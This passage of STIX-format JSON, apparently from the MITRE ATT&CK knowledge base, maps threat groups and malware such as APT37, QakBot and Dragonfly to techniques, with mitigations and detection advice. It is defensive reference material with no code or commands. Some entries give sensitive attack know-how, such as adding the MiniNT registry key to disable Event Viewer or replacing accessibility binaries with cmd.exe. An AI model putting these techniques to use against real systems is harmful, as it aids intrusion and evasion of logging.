2024.","url":"https://www.sans.org/blog/finding-evil-wmi-event-consumers-with-disk-forensics/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:35:39.515Z","description":"Monitor for MOF files outside of the HKLM\\SOFTWARE\\Microsoft\\WBEM folder, as almost all legitimate MOF files will be stored in the WBEM folder.(Citation: Evil WMI) Adversaries may create modified MOF files to be complied into WMI event subscriptions. ","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47415b89-a254-49a8-95c4-7efae85cac2c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-16T16:19:30.904Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has sent spearphishing attachments attempting to get a user to open them.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47415cec-25f8-4425-9125-157e1637a687","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-16T19:40:54.250Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) uses reflective DLL injection to inject the malicious library and execute the RAT.(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47440b3d-e6ef-4f7d-b732-453d1684424a","type":"relationship","created":"2020-06-11T19:52:07.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-15T19:59:06.693Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has compiled malware, delivered to victims as .c files, with the GNU Compiler Collection (GCC).(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--474912e8-0f81-439c-a613-51cbb9c0baa9","created":"2021-09-30T14:01:31.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T18:23:53.671Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can identify the user name on a compromised system.(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--474cec2a-ff0f-40af-ac55-053a0ccebc67","created":"2024-09-16T09:29:41.691Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:29:41.691Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) deleted various artifacts from victim systems following use.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--474d9df3-c596-4468-877a-85e4ad91ccbb","type":"relationship","created":"2019-06-24T13:56:03.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-24T15:06:46.244Z","description":"Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--474e148d-4f4a-41d4-994e-d6425c7445f3","type":"relationship","created":"2020-07-22T19:16:02.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-07-22T19:16:02.898Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) can steal Google Chrome and Apple Safari browser cookies from the victim’s machine. (Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4753b372-6ac2-4a0e-8e0c-1a14c884fa8e","created":"2022-07-25T18:12:38.748Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:12:38.748Z","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.542Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47552c49-4027-41f1-ad5f-44e4533dbf19","created":"2023-06-08T19:58:54.691Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-08T19:58:54.691Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use a custom HTTP-based protocol for large data communications that can blend with normal network traffic by riding on top of standard HTTP.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--475d30ee-999c-470c-b4b3-eed40d1db799","type":"relationship","created":"2019-01-31T00:36:40.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2022-01-06T20:40:02.115Z","description":"A version of [KONNI](https://attack.mitre.org/software/S0356) has dropped a Windows shortcut into the Startup folder to establish persistence.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--475fef11-3344-4305-9710-cc41ba8acc0a","type":"relationship","created":"2020-05-15T13:17:57.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T15:08:55.549Z","description":"(Citation: Securelist DarkVishnya Dec 2018) ","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4762aa33-bcb3-49d4-b565-f8374cb9c996","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows (e.g. unusual network communications or suspicious communications sending fixed size data packets at regular intervals as well as unusually long connection patterns). Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, protocol port mismatch, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47640cbc-a128-4a78-b02e-d0b073809257","type":"relationship","created":"2020-03-02T14:30:05.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:24:18.817Z","description":"Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4765866e-48c9-48f7-a2c0-cb1251680b56","type":"relationship","created":"2021-06-04T14:49:06.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-04T14:49:06.977Z","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) can use an embedded RSA-2048 public key to encrypt victim data for ransom.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47747638-0f8d-4735-b16d-b52861dec73f","type":"relationship","created":"2020-05-08T19:27:12.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.164Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) is a backdoor written in PowerShell.(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4775487a-b632-43f9-8372-83219e2aa98c","type":"relationship","created":"2020-02-21T17:31:33.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:00:52.932Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47835d17-73e1-427f-85b0-b55b610fa9ad","type":"relationship","created":"2017-05-31T21:33:27.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2019-03-25T16:53:38.839Z","description":"(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47845844-3465-4c87-aaa1-03e860cc3dab","type":"relationship","created":"2020-03-29T22:00:58.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"def_ev_win_event_logging","url":"https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/","description":"Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021."}],"modified":"2021-10-19T13:37:31.188Z","description":"Ensure proper Registry permissions are in place to prevent adversaries from disabling or interfering logging. The addition of the MiniNT registry key disables Event Viewer.(Citation: def_ev_win_event_logging)","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--478544be-5304-423f-8065-0f11cd4cfade","created":"2024-03-25T21:31:42.804Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:31:42.804Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has utilized [WarzoneRAT](https://attack.mitre.org/software/S0670) to remotely access a compromised system.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4786019e-e2d4-4d31-94fa-b9ec19e65fa4","created":"2020-11-12T17:10:00.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Grandoreiro April 2020","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"},{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:26:28.446Z","description":"The [Grandoreiro](https://attack.mitre.org/software/S0531) payload has been delivered encrypted with a custom XOR-based algorithm and also as a base64-encoded ZIP file.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47880b58-f0e2-4898-a218-6df6333329ed","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.026Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) can download additional components from the C2 server.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4789380f-30ac-4a85-b857-cd7d3a546d98","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor for suspicious processes modifying the authorized_keys or /etc/ssh/sshd_config files.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47899da0-29da-4518-b94a-0f08bc01e5c9","type":"relationship","created":"2019-03-11T17:56:45.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.599Z","description":"[Empire](https://attack.mitre.org/software/S0363) can leverage WMI debugging to remotely replace binaries like sethc.exe, Utilman.exe, and Magnify.exe with cmd.exe.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--478ac48b-ff1e-410a-93e9-ed511ccdf9fa","created":"2022-03-30T14:26:51.848Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network data for uncommon data flows, such as unexpected surges or other abnormal inbound/outbound patterns.","modified":"2022-04-07T20:05:18.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--478afd21-5bbe-4e85-9fb8-fcdb89e1a3de","created":"2024-05-20T20:13:07.474Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:13:07.474Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) leveraged stolen credentials to move laterally via RDP in victim environments.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--478e4f65-d03a-4f1b-aeeb-16dddc1bfead","type":"relationship","created":"2021-01-27T16:38:12.001Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T16:38:12.001Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has sent spearphishing emails containing a link to a zip file hosted on Google Drive.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--478e9268-e91a-4777-a4ee-644be4cd9fd0","type":"relationship","created":"2021-12-06T16:24:29.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.810Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has disabled host-based firewalls. The group has also globally opened port 3389.(Citation: US-CERT 